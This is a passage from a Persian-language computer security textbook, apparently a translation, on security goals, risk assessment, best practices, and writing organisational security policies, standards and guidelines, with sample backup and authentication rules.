 خـصوصاً بعـد از      -ت از قبل عمل كنـد       اي بسيار متفاو  بگونه

 مشكلات زيادي ممكـن اسـت رخ        -يك ارتقا يا رفع اشكال      
بطـور تـصادفي حـذف شـود        " ls" فرمان اگر ديكن تصور .دهد

گونـة   ايـن    !افتـد گيري از فايلها چه اتفاقي مي     هنگام فهرست 
هـايي  افزار نـرم  هـا و  توان اطمينان از صحت داده    را مي امنيت  

                                                                  
  :در راهبردهاي امنيتي COBITمراجعه كنيد به رويكرد   ۷۱

http://www.isaca.org/cobit.htm 
72   Confidentiality 
73   Integrity 
74   Availability 
75   Consistency 

  .ناميد ده قرار دارندكه مورد استفا

  كنترل 
 )افزارهاييا نرم  (اگر افراد  .سيستمبه  مند كردن دسترسي    ضابطه

 وجـود داشـته باشــند   در سيـستم شــما  غيرمجـاز ناشـناخته و  
توانند دردسرهاي زيادي بيافرينند و شما راجع به چگونگي          مي

ورود آنها، آنچه كه ممكن اسـت انجـام داده باشـند، و افـراد               
اند احساس احتمالاً به سيستم شما دسترسي داشته  ديگري كه   
توانـد بـسيار     چنـين مـشكلاتي مـي      جبـران . كنيدنگراني مي 
 شايد مجبور شويد سيـستم خـود را از      .پرهزينه باشد وقتگير و   

اندازي كنيد و تـازه متوجـه شـويد كـه تغييـر             ابتدا نصب و راه   
  .باشد حتي اگر واقعاً هيچ اتفاقي نيافتاده -مهمي رخ نداده 

  بازبيني 
به همان ميزان كه نگران دسترسي افراد غيرمجاز به سيـستم           
هستيد، بايـد بـه امكـان وقـوع اشـتباهات يـا انجـام اعمـال                 

در چنـين   . بدخواهانه توسط كـاربران مجـاز نيـز توجـه كنيـد           
تـأثيرات  دهنده و   انجام ، فرد شدهانجام  كه   بايد آنچه    شرايطي

 بـه ايـن     دسـتيابي  براي   ئنمطمتنها راه   . نماييدرا مشخص   آن
فعاليتهـا در   از   نـشدني سوابق و ثبتهاي تخريـب     داشتن   ،نتايج

تواند افـراد و عملكـرد آنهـا را شناسـايي           مي كهسيستم است   
شـيوة بـازبيني    حـساس،   بسيار   افزارهاي نرمدر برخي از    . كند

ممكن است آنقدر گـسترده باشـد كـه بتوانـد بعـد از تنظـيم                
 ـ       ت جديـد، اجـازة بازگـشت بـه         وضعيت سيستم بـه يـك حال

  .وضعيت اوليه را نيز بدهد

وجوه امنيتي اهميـت دارنـد، امـا سـازمانهاي          اين   ةاگرچه كلي 
ايـن  . نگرنـد  متفـاوتي مـي    اهميتمختلف به هريك با درجة      

 ملاحظـات امنيتـي     سـازمان اين است كه هـر       بدليل   اختلاف
خـود را بـر      يلويتهـا و سياسـتها    واخاص خود را دارد و بايـد        

  :بعنوان مثال. سب آن ملاحظات تعيين كندح

  محيط بانكداري
 از اصـول    بـازبيني،  و   ،، كنتـرل  يكپـارچگي در چنين محيطي،    

 و در دسترس بـودن  نگيمحرماو  ؛بسيار مهم و حياتي هستند  
  .درجة بعدي قرار دارنددر 

  محيط نظامي
   اطلاعــات حــاويدر يــك سيــستم دفــاعي ملــي كــه     

درجة اهميـت قـرار   در اولين ي گ محرمان ،شده است بنديطبقه
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در برخي از محيطهاي    . آخردرجة  و در دسترس بودن در      دارد  
مقامـات رسـمي تـرجيح      ممكن اسـت    بندي شده   سيار طبقه ب

كه يك ساختمان را منفجر كنند تا اجـازه نـداده باشـند             دهند  
  .اطلاعت بدست مهاجمين بيافتد

  يدانشگاهمحيط 
  اطلاعـات  س بـودن  در دستر   و يكپارچگيدر چنين محيطي،    

 حصول اطمينـان از در دسـترس      . مهمترين نيازمنديها هستند  
بودن اطلاعات در زمانيكه دانشجويان به آنها نيـاز دارنـد بـه             
مراتب مهمتر از اين است كه راهبران بتواننـد زمـان اسـتفادة             

  .دانشجويان از حسابهاي كاربري خود را تشخيص دهند

ازهاي محـيط عمليـاتي و       ني بايد امنيت هستيد    يك راهبر اگر  
 را  ي خـود   روالهـا  را بشناسيد و سپس بـر مبنـاي آن        كاربران  

ناگفته پيداست كه مطالب مشروح در اين كتـاب         . تعريف كنيد 
  .لزوماً براي تمامي محيطها مناسب نيستند

  اعتماد

را بـا عنـاوين      ايرايانه هاي معمولاً سيستم  متخصصين امنيت 
بـراي  را   "اعتمـاد " ةبلكه كلم  كنند؛خطاب نمي  "ناامن"و  " امن"

اي توضيح سطح اطمينان مورد انتظار از يـك سيـستم رايانـه           
 دليل اين مسئله ايـن اسـت كـه امنيـت مطلـق              .برندبكار مي 

اعتمـاد  ايجـاد   توانيم با    تنها مي  .تواند بدست آيد   هيچگاه نمي 
ــيكــافي در پيكربنــدي ــراي  كل  و تــضمين اســتفاده از آن ب

ايجـاد  . امنيت مطلق نزديـك شـويم      به   مورد نظر هاي   برنامه
ــاد ــافي دراعتم ــستمهاي  ك ــه سي ــستلزم ايرايان ــر  م و تفك
درصـورت  تـصميمات عمليـاتي و      . اسـت دقيـق   ريـزي    برنامه

ارزيابي مخـاطره اتخـاذ     اساس   بايد بر هاي كلي   سياستامكان  
هـاي تخصـصي    گردند و براي اين منظور اسـتفاده از توصـيه         

  :بسيار حائز اهميت است

 كار ي بزرگتر دولت سازمان اي دانشگاه،  شركت كي در شما اگر
 ـ مميزي  بخشهاي با كه ميكنيم شنهاديپ،  ديكنيم  اي ـ يداخل
ارتبـاط   لازم هايكمك براي دريافت  شركت مخاطرة   تيريمد

 كهاستفاده كنند  يياستهايس و طرحهااز   است ممكنآنها  (برقرار نماييد   
 بـه  مراجعـه  بـا  دي ـتوانيم نيهمچن). شويد مطلع هاآن ازلازم باشد   

 موضـوع  ني ـا خصوص  در شده در بخش ضمائم،   منابع معرفي 
بخواهيــد از يــك  اســت ممكــن .ديــاموزيب يشتريــب مطالــب

 از بـسياري    مثـال  بعنوان. مؤسسة مشاور طلب همكاري كنيد    

متـشكل از    هـاي ميت يدارا داري و مميـزي   حـساب  يشركتها
 را رايانـه  هاينـصب  تي ـامنتواننـد   مـي  كهمتخصصين هستند   

  .دنكن يابيارز

يـا بـا     دي ـكنيم ـ همكـاري  كـوچكتر  شـركت يك   با شما اگر
داراي بخش   است ممكن،  هاي شخصي سر و كار داريد      رايانه

شـود بخـش    در اينحالت پيشنهاد مي   . تخصصي امنيت نباشيد  
 دي ـكن تصور است ممكن. مطالعه نماييد  دقت به راكتاب   دوم
اما  جزئيات شده،  وارد شما جاياحت اين كتاب بيش از ميزان     كه

 يتانهاتياولودر تنظيم    شما به فصول نيا در موجود اطلاعات
  .كرد خواهدشاياني  كمك

  تحليل سود و زيان و الگوهاي سرآمدي
فهرستي طولاني از مخاطرات را       اتمام ارزيابي مخاطره،   از بعد

 بسيار بيش از مقداري كه بتوانيـد بـه          -پيش روي خود داريد     
 و زمـان  چـون    .ا بپردازيد يا با تمام آنها مقابلـه كنيـد         همة آنه 

بنـدي  يـك روش درجـه     بـه  شـما هستند، اكنون    محدود پول
تا بتوانيد تـصميم بگيريـد كـه         ديداربراي اين مخاطرات نياز     

خواهيد آثار و احتمال كدام مخاطرات را از طريق ابزارهاي          مي
 كنيـد، و    فني كاهش دهيد، در مقابل كدامها از بيمه اسـتفاده         

گيـري   بطور سنتي تصميم  . وقوع چه مواردي را صرفاً بپذيريد     
در مورد اينكه با كدام مخاطره بايد مقابله كـرد و كـداميك را              

 -بايــد پــذيرفت بــا اســتفاده از يــك تحليــل ســود و زيــان  
تخصيص هزينه به هر زيان احتمالي؛ تعيين هزينة مقابلـه بـا            

 سپس تعيين اينكه آيا     آن، تعيين احتمال وقوع هر مخاطره، و      
 -هزينة مقابله با آن از مزاياي پيشگيري بيشتر اسـت يـا نـه               

  .شودانجام مي

تحليل سود و زيـان اعـداد زيـادي بوجـود            ومخاطره   يابيارز
شود فرآيند كاملاً علمي و منطقي بنظر       آورند كه باعث مي   مي

 ايـن اعـداد     قـراردادن  هم كنارآوري و   جمع عمل در اما بيايد،
كن است بسيار وقتگير و پرهزينه باشد و نتيجة حاصله نيز           مم

ارزيـابي مخـاطره بـه توانـايي     . تنها اعـداد غيردقيـق هـستند     
گيري استفادة مورد انتظار از يك دارائي، تخمين احتمال          اندازه

مخاطره براي آن دارائي، شناسايي عواملي كه احتمـال وقـوع           
ر بالقوة هر انتخاب    كنند، و محاسبه تأثي   مخاطرات را بيشتر مي   

 - شاخصهايي كه بدست آوردن آنهـا بـسيار دشـوار اسـت              -
خواهــد  كــه را مهــاجم كمخــاطرة يــ چگونــه. بــستگي دارد

بدست گيرد محاسبه    را شما ستميس توانست امتيازات راهبري  
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 كـشف آسـيبهاي      و با گذشت زمان  مخاطره  كنيد؟ آيا اين    مي
آسـيبها  اصـلاح   گذشـت زمـان و       يا با    يابد،افزايش مي جديد  

سيستمي كه بخوبي مـورد مراقبـت قـرار         ؟ آيا   يابدكاهش مي 
چگونـه  و ؟ تـر شـود يـا نـاامن   تر ميدارد با گذشت زمان ايمن  

كنيـد؟  مـي  را محاسـبه     نفـوذ موفـق    يـك    هاي تقريبي خسارت
 در مورد اين مـسائل      يآماري اندك  سفانه مطالعات علمي و   أمت

كنند كه پاسـخ ايـن      افراد بيشماري فكر مي   .  است انجام شده 
 افـراد اند كه بيشتر     اما محققان نشان داده    ؛دانندالات را مي  ؤس
قادر به تخمين صحيح مخـاطرات و        شخصي   ةاساس تجرب  بر

  .احتمال وقوع آنها نيستند

، در سـالهاي    مشكلات ذاتي روش ارزيـابي مخـاطره       علتبه  
 بوجـود آمـده     رايانه براي برقراري امنيت     ياخير رويكرد ديگر  

ايـن  .  نـام دارد   ٧٧ دقيـق  مراقبـت يـا    ٧٦الگوهاي سرآمدي  كه
 ي و سياسـتهاي روالهاپيشنهادات، اي از مجموعهرويكرد شامل   

شده كـه   ئيداتدر جوامع محققان امنيتي     است كه بطور معمول     
رسـاند و   امنيت عمومي مي   از   را به سطح قابل قبولي    سازمانها  

انيـد  تومـي . دهـد مخاطرات را با هزينة معقـولي كـاهش مـي         
سـازي منطقـي تـدابير      بـديهيات پيـاده   "الگوهاي سرآمدي را    

  .بدانيد" يامنيت

. اسـتفاده از الگوهــاي ســرآمدي هـم مــشكلات خــود را دارد  
اي از الگوهـاي     مجموعـه  بزرگترين مشكل اين است كه هيچ     

 مناسب  كاربرانو  محيطها   كه براي تمام     سرآمدي وجود ندارد  
 يگاه وب كـه اطلاعـات     الگوهاي سرآمدي براي يك پا    . باشد

الگوهـاي  كند ممكن است شباهتهايي به      مديريت مي مالي را   
به  اما   ؛ اجتماعي داشته باشد   ة خبرنام سرآمدي پايگاه وب يك   

نياز به اقـدامات   ،اطلاعات مالياحتمال زياد پايگاه وب حاوي  
  .بيشتري خواهد داشتامنيتي 

 ـنميدنبال كردن الگوهاي سرآمدي      ه  ك ـ نـد  تـضمين ك   دتوان
در غالـب   . نخواهـد شـد   سيستم شما با مشكل امنيتي روبـرو        

الگوهاي سرآمدي، بخش امنيت سازمان بايد اينترنت را براي         
ــد و   ــار حمــلات جدي ــردن وصــلهdownloadاخب ــاي  ك ه

افـزاري بررسـي   شده توسط فروشندگان محـصولات نـرم    ارائه
 پيـروي كنيـد،     سـاختار نيـز   اما حتي اگـر شـما از ايـن          . نمايد
اي رايانه سيستم   تسخيرممكن است براي    همچنان   انمهاجم

 حال. دنتازه و منتشرنشده استفاده كن نادانستة   شيوهايشما از   

                                                                  
76  Best Practices 
77   Due Care 

كم باشد و يـا شخـصي كـه         شما از اخبار جديد     اگر اطلاعات   
در سـفر   پست الكترونيكـي اسـت      بررسي فهرستهاي   مسئول  

  . شما پيشي خواهد گرفتاز، مهاجم باشد

الگوهـاي  بايـد   تواننـد يـا     ميسازمان   زاراين تفكر كه دهها ه    
 سازي كنند پياده هايشانرايانهرا براي امنيت    سرآمدي موجود   

موجـود بـراي    است، چراكه الگوهاي سـرآمدي      مشكل آفرين   
  .صرفه نيستندبهتمامي سازمانها مناسب و 

 الگوهاي سرآمدي   ازمدعي هستند   بسياري از سازمانهايي كه     
از حداقل استانداردها براي امنيـت       در حقيقت كنند  ميپيروي  

الگوهـاي   ،در عمـل  و   نماينـد؛ مـي  استفاده   دستگاههاي خود 
بهينـه  واقعـاً   سرآمدي و يا بعبارتي راهكارهاي بهينه هم خود         

  !نيستند

الگوهـاي  و دو رويكرد ارزيـابي مخـاطره   تركيبي از توصية ما  
با شروع از بدنـة يـك مجموعـه از الگوهـاي            . سرآمدي است 

يك طراح آگاه بايـد مخـاطرات را ارزيـابي كنـد، و             ،  يسرآمد
. حل معقول ارائه نمايـد    يك راه  براي هر حالت خاص سيستم    

ا قرار   دستگاههاي مجز  رويها بايد   دهندهيسبراي مثال سرو  
ــقوداشــته باشــند  ــستم از طري ــرم  سي افزارهــايي عامــل و ن

پيكربندي شوند كه حداقل قابليتهاي امنيتي روي آنهـا فعـال           
بـا   ، متصديان بايـد در خـصوص تغييـرات آگـاه باشـند            .است
 منتظر حوادث غيرمنتظـره   نگهدارند، و   را به روز    ها خود   وصله

 از يبـه درك عميق ــنيــاز   صـحيح ايــن مـوارد  انجــام. باشـند 
. و دلايل عملكرد ناصـحيح آن دارد      چگونگي عملكرد سيستم    

اين رويكردي است كه در بخشهاي بعدي اين كتـاب دنبـال            
  .شودمي
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  پنجمفصل 
   و سياستپيشگيري

  امنيت سازماني

  كليات
سياسـت  بطور كامل بـه تـشريح سـطوح مختلـف           اين فصل   

سـازمان در امنيـت     ر كارمنـد    ه ـكـه در آن      پردازد؛ميامنيتي  
. نقـشي بـراي ايفـا كـردن دارد        ها و اطلاعات    ، شبكه هارايانه

ار فهرستهاي كنترل مديريتي كه در اين قسمت مورد اشاره قر       
توانيد در فصول انتهايي همين بخش از كتـاب         اند را مي  گرفته
  .بيابيد

  امنيت در يك سازمان درحال فعاليت
هر چقـدر كـه معيارهـاي امنيتـي شـما           .  نيست رايگانامنيت  
  آنهـا بـالاتر خواهـد     ة هزين ـ ميـزان ، به همان    تر شوند گسترده
بـالاتري بهـره     امنيـت     از سيـستمهايي كـه    اسـتفاده از     .رفت
 ممكن است از    همچنين امنيت . برند معمولاً دشوارتر است    مي

سـخت و   فعاليتهـاي   خواهند  ميكه   - كاربران قدرتمند  جانب
 اما غالباً مجاز به انجام آن نيستند         انجام دهند  يخطرناكبعضاً  

 مورد تهديد   -باشند  و در قبال پيامدهاي آن نيز پاسخگو نمي       
سـت در سـازمان از      بعضي از اين كاربران ممكـن ا      . واقع شود 

، بعـضي از    از طـرف ديگـر    .  باشـند  منـد  قدرت سياسـي بهـره    
سـازمان  امنيت  تأمين  سازمانها ممكن است احساس كنند كه       

همين دليـل    باشد و به  بسيار پرخرج مي  در يك سطح مناسب     
اين خطرات  هاي واقعي   بدون صرف وقت براي ارزيابي هزينه     

. ود را ادامه دهنـد    و بدون توجه به ملاحظات امنيتي فعاليت خ       
اي از فهرستهاي كنترل ارائـه      مجموعهسوم  بخش  در انتهاي   

اند كه گامهـاي لازم بـراي حـصول اطمينـان از تـأمين              شده
با توجه بـه محـدوديتهاي       راسطوح مختلف   حداكثر ايمني در    

  .كنندزماني، پرسنلي و مالي تشريح مي

ما بايـد    ش پس از اتمام ارزيابي مخاطره و تحليل سود و زيان،         
. نماينـد عمل  طبق برنامه   را متقاعد كنيد كه     سازمان  مديريت  

شـود كـه    در حالت عادي براي اينكار يك سياست تدوين مي        
 معمـولاً انجـام ايـن فرآينـد         .بايد رسماً مورد تبعيت قرار گيرد     

و مخـاطره   ارزيـابي   از انجـام     هـدف    .يك پيكار دشوار اسـت    
نحـوة صـرف     و   تاقـداما  بنـدي  اولويـت  سود و زيـان   تحليل  
شـما طـوري    برنامة تجاري   اگر  .  استشما   هاي امنيتي هزينه

اي نـشده  مخـاطرة بيمـه   سال  طول  در   نبايدطبق آن   باشد كه   
،  كه هزينة آن از يك مقدار مشخص بالاتر باشـد           داشته باشيد 

متوجـه شـويد    اسـتفاده كنيـد تـا    ارزيابي مخاطره   توانيد از     مي
هـايي را متحمـل     ه هزينـه  بايد چ ـ براي رسيدن به اين هدف      

كند كه  راهنمايي  را  تواند شما     همچنين مي اين ارزيابي   . شويد
كدام گام را اول و كدام گام را دوم برداريد، و چه كارهـايي را               

مخاطره  ديگر ارزيابي    ةفايديك  . به سالهاي بعد موكول كنيد    
شود كه شـما بـراي        اين است كه مديريت شركت متقاعد مي      

  .به منابع بيشتري داريدنياز برقراري امنيت 

ولـي    ، دارنـد  مختصرياطلاعات  ها    رايانه بارةمديران در غالب  
اگـر  . كننـد   ارزيابي مخاطره و تحليل سود و زيان را درك مي         

اي درحال حاضـر بـا مخـاطره      بتوانيد نشان دهيد كه سازمان      
زيادي شـود    ةسالانهاي  تواند باعث هزينه  مياست كه   مواجه  

اكنـون  ظور مجموع خسارتها و هزينة تعميرات همة آنچه هم   براي اين من  (
ايـن  ممكـن اسـت     ، آنگـاه    )مورد استفاده قرار دارد را محاسبه كنيـد       

بـراي اجتنـاب از وقـوع        مديريت را متقاعـد كنـد كـه          برآورد
بيـشتري  گـذاري   كاركنـان سـرمايه   منـابع و    مخاطرات، روي   

  .نمايند

حتمـال زيـادي    ا" اگر با سـخنان مبهمـي مثـل          از طرف ديگر  
ــد از وجــود دارد كــه  ــدي بع ــة بع روي  CERT/CCاعلامي

به مديريت مراجعه كنيـد،      "اينترنت نفوذهاي متعددي رخ دهد    
  اي جز يـك نگرانـي بـسيار ملايـم      بسيار بعيد است كه نتيجه   

  ! به بار بيايد)آن هم تنها در بعضي موارد(

  نقش سياستهاي امنيتي
كنـد  ي سازمان كمك مي   هاسياست امنيتي به تعريف سرمايه    

هـا    و نيز گامهايي كه لازم است براي حفاظت از اين سـرمايه           
  .نمايد برداشته شود را مشخص مي

تـوان تـدوين      سياستهاي امنيتي را به چند روش متفاوت مـي        
اي توانيد يك سياست كلي بسيار سادة چنـد صـفحه           مي. كرد

نـين  همچ. بنويسيد كه بيشتر احتمالات را درنظر گرفته باشـد        
توانيد براي هريـك از دارائيهـاي مختلـف يـك سياسـت               مي
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الكترونيكـي، سياسـت    خاص تدوين كنيد؛ مثل سياست پـست  
. هاي كاركنان و سياسـت اطلاعـات حـسابهاي كـاربري            داده

انـد    سومين رويكردي كه بسياري از شركتها از آن بهره جسته         
 هاي مختلف قابل اجـرا اسـت      و براي تمامي شركتها با اندازه     

هاي ساده و مختـصر     مشي داشتن سياستها، استانداردها و خط    
در ادامه، رويكرد   . اند  است كه با الگوهاي سرآمدي بهبود يافته      

آخر را بطور خلاصه تشريح خواهيم كـرد و منـابع  بيـشتر در               
  .اند معرفي شدهمراجعاين رابطه نيز در بخش 

ز كنـد ا    اول مشخص مي  . كند  سياست سه نقش عمده ايفا مي     
مربوط شود و چرا؛ دوم اينكه مسئوليت         چه چيزي حفاظت مي   

نمايـد؛ و سـوم اينكـه       اين حفاظت را مـشخص مـي      به تأمين   
اي براي تفسير و حل درگيريهايي كه ممكـن اسـت در            زمينه

آنچـه كـه در سياسـت نبايـد         . دهد  آينده بوجود بيايد ارائه مي    
بـا  (افراد  آلات و     بيايد عبارت است از فهرست تهديدها، ماشين      

سياست بايد كلي باشـد و در طـول زمـان بنـدرت             ). نامهايشان
  .شوددچار تغيير 

  استانداردها
آميز امنيـت در      از استانداردها براي معرفي راهكارهاي موفقيت     

شـود و در عبارتهـاي آن معمـولاً از            يك سازمان استفاده مـي    
اسـتانداردها عمومـاً مـستقل از       . گـردد استفاده مي " بايد"فعل  

شـوند و حـداقل يـك معيـار      بسترهاي مختلف فني تهيه مـي     
. نماينداند يا نه را معرفي مي       براي تعيين اينكه آيا رعايت شده     

اند و در طـول   استانداردها براي پشتيباني از سياست پديد آمده      
اسـتانداردها ممكـن اسـت      . كننـد   زمان به آهستگي تغيير مي    

تخدامهاي جديد بايـد    دربرگيرندة مطالبي باشند مانند اينكه اس     
چگونه انجام شـوند، از نـسخة پـشتيبان بايـد تـا چـه مـدتي                 

 چگونه مـورد    UPSنگهداري بعمل آيد، و اينكه سيستمهاي       
  .گيرندآزمايش قرار مي

هـاي پـشتيبان را      يك استاندارد در مـورد نـسخه        بعنوان مثال 
  :ممكن است در آن اينگونه آمده باشد.  درنظر بگيريد

افزاري و بر     هاي اينترنتي و نرم     يد از تمام داده   پشتيبانها با 
در هـيچ   . اساس يك برنامـة مـنظم زمـاني تهيـه شـوند           

گيري نبايد كمتر از يكبار     صورتي عمليات عادي پشتيبان   
همة پشتيبانها بايـد    . در هر هفتاد و دو ساعت انجام شود       

حداقل براي يك دورة شش ماهه حفظ شوند؛ و از اولين           
 ژانويه و ژوئن هر سـال در يـك محـل           پشتيبان ماههاي 

امن در خارج از سازمان براي هميشه مراقبـت بـه عمـل             
حداقل يك هفتـه در ميـان بايـد يـك پـشتيبان             . آيدمي

هــاي  همــة رســانه. كامــل از كــل سيــستم تهيــه شــود
گيـري بايـد در نـوع خـود واجـد اسـتانداردهاي              پشتيبان
 سـال   شدة صنعتي باشند تـا حـداقل بعـد از پـنج           پذيرفته
ماندن در يك انبارِ بدون مراقب، اطلاعات روي آنها         باقي

  .باز هم قابل بازيابي باشد

گيـري يـا بـستة      اين اسـتاندارد نـام هـيچ مكـانيزم پـشتيبان          
كند؛ هرچند آن چيزي كـه بايـد          افزاري خاص را ذكر نمي      نرم

ذخيره شود و اينكه براي چه مدت بايد ذخيـره گـردد و چنـد               
  .نمايدينكار انجام گيرد را بوضوح عنوان ميوقت يكبار بايد ا

  :يك استاندارد معقول براي تصديق هويت را درنظر بگيريد

در يك رايانة چندكاربره هر حساب كاربري بايد تنها يك          
آن كـاربر بايـد     . كاربر مجاز براي اسـتفاده داشـته باشـد        

هويت خود را با استفاده از يك نـشانة تأييدكننـده بـراي             
تـوان      اثبات هويت براي رايانه را مي     . ت نمايد سيستم اثبا 

ــك  ــيلة ي ــت بوس ــصديق هوي ــشان ت ــك ٧٨ن ــارت ، ي ك
معيـار  ، يك رمز عبور يكبار مـصرف، يـا يـك            ٧٩هوشمند
اي   در هيچ دستگاه رايانـه    .  تأييدشده صورت داد   ٨٠زيستيِ

كه تاكنون به شبكه وصل شده، قابل حمل بـه خـارج از             
 مـورد اسـتفاده   شركت بوده، يا بيرون از دفتـر خـصوصي       

قرارگرفته، نبايـد از رمزهـاي عبـور تكرارشـدني بعنـوان            
  .مكانيزم اصلي تصديق هويت استفاده كرد

  راهبردها
اسنادي هستند كه معمولاً در آنهـا فعـل      ) هامشيخط(راهبردها  

هدف راهبردهـا تفـسير اسـتانداردها       . رودبكار مي " بهتر است "
ي يا يك محيط    افزار   يك محيط نرم   -براي يك محيط خاص   

، راهبردها درصـورت      برخلاف استانداردها . باشد   مي -فيزيكي  
اين اجزاي سياست، همانطور كه از نامشان    . كنندنياز تغيير مي  

پيداست، معمولاً مثل استانداردهاي كارايي مورد استفاده قـرار      
گيرند، بلكه بصورت راههايي كـه بـه انجـام كـار كمـك                نمي
  .روندكنند بكار مي مي

  :هاي پشتيان آمده استذيلاً يك نمونه راهبرد در مورد نسخه
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پشتيبانها در ماشينهاي مبتني بر يونيكس بايد با اسـتفاده          
تهيــة پــشتيبان از  . تهيــه شــوند " dump"از برنامــة 

روز از آنهـا اسـتفاده      ساعت شـبانه   ۲۴سيستمهايي كه در    
كـاربره انجـام    شود بايد در طول شب و در حالت تك        نمي
 ساعته درحـال    ۲۴تهية پشتيبان از سيستمهايي كه      . شود

فعاليت هستند بايـد در زمـان نزديكتـرين تغييـر شـيفت             
زماني كه بار كاري سيـستم      (شب صورت بگيرد    كاري به نيمه  

هـاي پـشتيبان بلافاصـله     تمام نسخه ). از هميشه كمتر است   
پس از نوشته شدن بايد مجدداً خوانده شـوند تـا صـحت             

  .شده به تأييد برسداطلاعات نوشته

پـشتيبان  گيري ماههاي ژانويه و ژوئن،      پشتيبان در اولين 
 بايـد   ۳گيري سـطح      پشتيبان. شود تهيه مي  ٨١سطح صفر 

گيـري    پـشتيبان .  در اول و پانزدهم هر ماه صورت بگيرد       
شنبه انجـام شـود،        بايد شبهاي هر دوشنبه و پنج      ۵سطح  

ز انجام شده  در همانرو۳مگر اينكه پشتيان سطح صفر يا      
 بايد يك شب در ميان تهيه شود،        ۷پشتيبان سطح   . باشد

  .مگر در ايام تعطيلات

راهبر سيستم در هر هفته يك فايل را بصورت تـصادفي           
از يك پشتيبان كه در همان هفتـه تهيـه شـده انتخـاب              

گيـري بـراي كـسب      كند تا كارمنـد بخـش پـشتيبان       مي
خة پشتيبان،  اطمينان از عملكرد صحيح روالهاي تهية نس      

  .آن فايل را از روي پشتيبانها بازيابي كند

راهبردها براي معماريهاي خاص و دسـتگاههاي ويـژه تهيـه           
هاي كوتاهتري تغيير   شوند؛ و نسبت به استانداردها در بازه        مي
كنند تا بتوانند شرايط متغير را بـصورت صـحيح مـنعكس              مي
  .كنند

 نكات كليدي در تدوين يك سياست كارآ
كمــك بــه ) و اســتانداردها و راهبردهــاي مربوطــه(سياســت نقـش  

حفاظت از مواردي است كه رويهمرفته براي شما مهم تلقـي           
رود در بيشتر موارد لزومي ندارد سياستي كه بكار مي.  شوند مي

گاهي اوقات يك قانون ساده براي تمـام    .  ويژه و پيچيده باشد   
  :، مانند مثال زير سياست محيط شما كافي است

.  باشـد   استفاده و حفاظت از اين سيستم وظيفة همـه مـي          

                                                                  
81  Level 0 dump 

تنها كارهايي انجام دهيد كه مايليد ديگران هم آنرا انجام   
. به حريم خصوصي كاربران ديگر احتـرام بگذاريـد        .  دهند

 سعي كنيد آنرا يا خودتـان        چنانچه با مشكلي روبرو شديد    
 بـه   به قوانين مربوط  . رفع كنيد و يا سريعاً گزارش نماييد      

مسئوليت كارهاي خـود را     . كاربرد سيستم احترام بگذاريد   
از كارتـان لـذت     .  بپذيريد و هميشه خود را معرفـي كنيـد        

  .ببريد

تر كـه توسـط       گاهي اوقات نيز لازم است يك سياست رسمي       
يك متخصص رسمي و چند مشاور امنيتـي بـازبيني شـده را             

سازمان بـا  سياست هر . براي حفاظت از دارائيهايتان بكار بريد    
سازمان ديگر تفاوت دارد؛ چراكه همـواره بـراي هـر سـازمان      
ملاحظات خاصي وجود دارد كـه لازم اسـت بطـور مجـزا در              

  .شده مورد اشاره قرار گيرندسياستهاي تدوين

  تخصيص يك مسئول

هر جزء اطلاعات و تجهيزات كه بايـد مـورد محافظـت قـرار            
كسي است  " ئولمس. "گيرد بايد يك مسئول معين داشته باشد      

گيري و ساير   برداري، از بين رفتن، پشتيبان    كه در قبال نسخه   
او همچنـين   . هاي حفاظـت از اطلاعـات مـسئوليت دارد          جنبه

يكي از كساني است كه مجاز اسـت بـه اطلاعـات دسترسـي        
  .داشته باشد

مشكل امنيت در بسياري از سازمانها اين است كه اطلاعـات           
درنتيجــه .  شخــصي نــداردمهمــي وجــود دارد كــه مــسئول م

سـازي اطلاعـات    دانند چه كـسي دربـارة ذخيـره       كاربران نمي 
گيرد يا چه كسي ضوابط دسترسي به اطلاعـات را            تصميم مي 
) و همچنـين تجهيـزات    (بعضي اوقات اطلاعات    . نمايدتدوين مي 

بدون اينكه كسي متوجه شـود بـراي مـدتي طـولاني ناپديـد       
نيست كه شرايط را كنترل     شوند؛ چراكه كسي مسئول آنها        مي
  .كند

  مثبت باشيد

افراد به جمـلات مثبـت و اثبـاتي بهتـر از جمـلات منفـي و                 
بجـاي تهيـه    . دهنـد   كننـده واكـنش نـشان مـي       عبارات نفـي  

، ببينيد كه     "اينكار را انجام ندهيد   "ليستهاي طويل از عبارتهاي     
بنـدي   مثبـت جملـه     توانيد همان ضوابط را بصورت      چگونه مي 

اي   توان بصورت مجموعـه    سياست خلاصة قبلي را مي     .نماييد
مطـابق زيـر تهيـه كـرد؛ امـا ببينيـد كـه همـان         " هـا   نبايد"از  
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  :شدند تر خوانده ميعبارتهاي قبلي چقدر راحت

اين وظيفة شماست كه اجازه ندهيـد از سيـستم اسـتفادة            
كارهايي كه دوست نداريد ديگران انجـام       .  نادرست بشود 

ــد ــام ند دهن ــد را انج ــران را  . هي ــصوصي ديگ ــريم خ ح
اگر مشكلي پيدا كرديد و نتوانـستيد آنـرا         . دار نكنيد  خدشه

قوانين مربوط  . ، مشكل را مخفي نگه نداريد       برطرف كنيد 
ســعي نكنيــد . بــه اســتفاده از سيــستم را نقــض ننماييــد

مسئوليت كارهاي خود را به گـردن ديگـران بيندازيـد؛ و            
 اميـدواريم اوقـات بـدي       .هويت خود را نيز پنهان ننماييد     

  !نداشته باشيد

، همواره رفتار كاربران را در ذهـن   نويسيد  وقتي سياستها را مي   
شوند و از نكات، تعبيـرِ        آنها دچار اشتباه مي   . خود داشته باشيد  

سياست شما نبايد طوري باشد كه درصورت       .  كنند  نادرست مي 
  .اشتباه كاربران، آنان را مستحق هر مجازاتي بداند

ز اين گذشته درنظر بگيريد كه سيستمهاي اطلاعاتي ممكـن        ا
هـايي در مـورد كـاربران باشـند و كـاربران            است شـامل داده   

ايـن  .  بخواهند تا حدودي آن اطلاعات را خصوصي نگهدارنـد        
هـاي الكترونيكـي،    تواند شـامل نامـه    اطلاعات خصوصي مي  

پس اين اطلاعات   .  سوابق شخصي و ارزشيابيهاي شغلي باشد     
يز بايد مـورد محافظـت قـرار گيرنـد؛ هرچنـد شـايد نتوانيـد             ن

خلاصة مطلب اينكـه از  . خصوصي ماندن آنها را تضمين كنيد    
  . نيازها و احساسات كاربران غافل نشويد

  بر آموزش و آگاهي تمركز كنيد 

توانيد استانداردها را در برنامة آمـوزش و بـازآموزي كليـة            مي
اي در مـورد  ايـد آگـاهي اوليـه   هر كـاربر ب   . كاربران قرار دهيد  

امنيت داشته باشد، و سپس آن مطالب بايد در يـك برنامـه و              
حتي اگر برنامة يـادآوري     (قالب مشخص براي وي يادآوري شوند       

احتمـال  ). !اي از ايـن كتـاب بـه كاركنـان باشـد             تنها شامل ارائه نسخه   
